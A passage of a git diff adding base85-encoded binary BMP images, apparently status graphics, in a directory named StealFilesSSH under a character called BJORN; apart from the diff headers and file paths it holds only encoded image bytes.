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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 zcmdU$2V4}_`uDM61Elxfmb&aN+skb4l`c{R#fI2LQGwk>5EM)7CH4{%Yc#eb#%?T8 z!Cp}m6FZ`G*nOYb)m(4xjU_Sf|8wW_FwD-LnLXe0`#tBJ*_q`jy(Jc=g$(Nu_*1?4 z>tf+*+W(u_!s3{X`OmZiR_xEYu-I(oe+$_Ep5@Puf>WUfA_zh@EiBfbo`=C;P{?HD z&kMkLEG&%w3rlBbXGcfJ`)g|WP=U|FYUnhg(Q0UW)!Fo>muxT^KpmDU%x z+8b&+o1YpDO-5s9Q)A<|J9lo{uA6m)5+jUQu7Qr2fKUh!^JIasfWV9EP+GNjq{6NRxN#g;ma#O%ztuyi+0pNRS%-es7wXLDr}$)>p4;xU~8u#6?q7uYURO0R>)PS=)4VEflD)S_#KCUte3E zmnsh-#xbcZKg`)l-_$R;uqIWXjIir2e`jcUqu>P7V`c&q99`kJ5SU)@{z;=-!d8yo5`K%1>jXCQk9FI*U3 zKzGGlDgO4}tV2&1o}9+dD$COtU;J#QnO8QmARAkrJA435__S6XzJ`*b# zq^;rJt2^Jlyu7~t;>w2VeZ#ypwPzY!$rQ~%m6IY6H|~PuRXE2 z`R4k@E2z?q*H8%|UR_z!a&!IVy|af)ICKvT!!JS^jNQLzQq#5d;E5cu@Q1vW7j-+6 zf|(a}JL={ity^&9T*(eKo^trd?Nt}f->s?1%NZtcBZ|GLmvp=C&N)~+@9?on>k|-3 z?frZIiTmlgn$KY{bhbA=Zhd~E>DN<@cfWsqb4SC~ji|uYU$);`ySY4%>=U|R#fE(s zu6+5;_X1L4DxFn#VhN<+Z>N?#IKH^<_~KtrEd`mc?wu{hM91)lY}|8n-?@wW(zz73 zz@Ju5>#W^4LM7TU=!>hmUCF_$3%c!fi%;D7;^5;&$EHh%`1f_7y7|Y!7~>b_ZDXH9 z&^(xV_)g`)d-D#}&OJ1kru^~1{?Ety?wJ6)v#qhSrM|84QEUC}=QXF}$n^XPU+z5E zSyoatY2@Di0$osdFL@|V9Z8Y|<3vGN2uW~MOca^#7l!E>l&P9GdDQ-y6_>v|+BPtG z@-Vf$>G{?CtbyCpXKolcgW?)^v1Di6{Nr~QAAPvB>f{&uRt}wecI&Z|-=6s8z}d40 z&RsolrDj|8&BaG=&HVAv;-7WW>_xLHp@x6xq5i6_@3Q`3`@+xXqU}TYm?Vk=5^WVi z>le&%3zr5`WdU?WAVZB|szaEtR$-X(K)Nh|Ch?~r&Y={WAVS|znv0O-uM}fh_wPNZ zm^3XXQbh0y9*E;z((br-;P$P@jkntkm+G6&+uPx*AHB; zTXbrE?8GT~xgDJy&`ZBtx6j9F?&U9>`XvF8QEh|deuRWbRx)1DAJ0p~BC%mKRR~#$ zA<6>r(ts#wV3a%vuf#;F!^kn=w1g;De;f}YKAa)(#*u6TMkNi-P0#ArrQ61=sb|J4 